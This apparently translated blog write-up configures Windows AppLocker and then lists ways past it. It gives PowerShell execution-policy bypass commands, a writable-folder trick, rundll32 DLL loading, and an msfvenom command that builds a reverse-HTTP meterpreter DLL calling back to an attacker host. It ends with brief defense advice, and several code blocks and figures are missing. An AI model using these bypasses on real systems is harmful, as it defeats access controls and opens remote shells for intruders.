Bypass Windows AppLocker


0x00 Preface

Windows AppLocker

Applies To: Windows Server 2008 R2

AppLocker is a new feature in Windows 7 and Windows Server 2008 R2 that allows you to specify which users or groups can run particular applications in your organization based on unique identities of files. If you use AppLocker, you can create rules to allow or deny applications from running.

Today's organizations face a number of challenges in controlling application execution, including the following:

  • Which applications should a user have access to run?
  • Which users should be allowed to install new software?
  • Which versions of applications should be allowed?
  • How are licensed applications controlled?

To meet these challenges, AppLocker provides administrators with the ability to specify which users can run specific applications. AppLocker allows administrators to control the following types of applications: executable files (.exe and .com), scripts (.js, .ps1, .vbs, .cmd, and .bat), Windows Installer files (.msi and .msp), and DLL files (.dll and .ocx). This helps reduce the organization's cost of managing computing resources by decreasing the number of help desk calls from users running inappropriate applications.

Last time we tested the McAfee Application Control. This time we’ll test another whitelist tool that is called Windows AppLocker and share related hacking and defense techniques.

0x01 Introduction

Windows AppLock, an application control policy, is used to control executables, installers and scripts. This AppLock only supports Windows7 Enterprise, windows7 Ultimate and WindowsServer2008 R2 before Microsoft enables it to support Windows 8.1, Windows Server2012 R2, WindowsServer2012 and Windows8 Enterprise on 18 October 2012.

As shown in the figure:

AppLocker can create rules for the following file formats and limit its execution

Next we’ll test some related functions.

0x02 Configurations

Test environment:

OS:Windows7 Ultimate x86

1.Enable the service

Enter Computer Management-Services-Application Identity and enable the service.

As shown in the figure

2.Enter the AppLocker Configuration Interface

Input secpol.msc to enter Local Security Policy-Application control policy-AppLocker

Or input gpedit.msc-Computer Configuration-Windows settings-Security Settings-Application control policy-AppLocker

As shown in the figure

3.Configure rules

Set default rule for executables:

  • Allow members of local administrator group to run all applications
  • Allow members of Everyone group to run applications in Windows folder
  • Allow members of Everyone group to run applications in Program Files folder

As shown in the figure

Set default rule for scripts:

  • Allow members of local administrator group to run all scripts
  • Allow members of Everyone group to run scripts in Program Files folder
  • Allow members of Everyone group to run scripts in Windows folder

As shown in the figure

With default rule enabled, all paths except for default path will not be able to execute applications or scripts.

0x03 Test

1.Execute exe

2.Execute scripts

0x04 Analysis of security mechanisms

Through test, the applied rule has taken effect and can prevent exe and scripts running from non-trusted paths. But the following items are not restricted:

  1. memory
  2. Office Macro
  3. HTML applications, ie. hta files
  4. powershell

And we know the following bypass techniques:

  1. use hta files
  2. use jscript
  3. use powershell
  4. use InstallUtil
  5. Use regsvcs

Plus the recently learned techniques, we finally found the next exploitable methods:

0x05 Bypass methods




use it to execute vbs and JavaScript scripts

2.Privilege escalation

Escalate to administrator privilege in order to break the limitation by AppLocker, so that exe and scripts can be executed.


(1) Execute ps scripts

PowerShell.exe -ExecutionPolicy Bypass -File

(2) Execute ps scripts by using the following method

Get-Content script.txt | iex

(3) Use shortcuts to execute powershell



4. Process Injection

Since powershell can be executed, then meterpreter can be reversed.

Then try process injection


If it’s injected into a process with regular privilege, exe and scripts won’t be able to execute.

If it’s injected into a process with system privilege, exe and scripts won’t be able to execute.

5. Search for exploitable file paths

Scan for writable paths by using ps script

Download link:

(I’ve uploaded this script to Github)

Here is the test

After executing, it automatically scans for exploitable paths.

For example, select a path: c:\Windows\Tasks

Normal execution of calc.js will be blocked.

But execute copy calc.js c:\Windows\Tasks first, then execute c:\Windows\Tasks\calc.js, bypass will succeed.

As shown in the figure

6. rundll32

(1)Execute JavaScript

a.directly reverse a HTTP shell


But it’s unable to bypass the limitation on exe and scripts

b.use JavaScript to execute powershell command and return a HTTP shell

(2)Load third party dlls

a.write your own dll


Write your own dll based on dll format, generate and upload


rundll32.exe cmd.dll,Control_RunDLL

Pop up a cmd

As shown in the figure

b.reverse meterpreter


msfvenom -p windows/meterpreter/reverse_http -f dll LHOST= LPORT=8080>./a.dll

Generate a.dll and upload it to the testing host


rundll32.exe a.dll,Control_RunDLL

Launch it online

As shown in the figure

7. Use InstallUtil

Use InstallUtil.exe to directly execute shellcode. Succeed!

If there is Microsoft .NET Framework 4.0 environment, exe is able to execute.


8. Use regsvcs



0x06 Defense

Restrictedly control file access permission

Disable mshta.exe to prevent hta from executing

Disable powershell

Avoid privilege escalation

0x07 Summaries

As we dig deeper, it’s not hard to find out: by using InstallUtil and regsvcs, it’s easy to bypass the limitation of whitelist. Whether it’s for attack or defense, this part should be paid with enough attention.

The techniques of using rundll32.exe are still in research.

0x08 References

Download related files:

Tags: none

Add a new comment.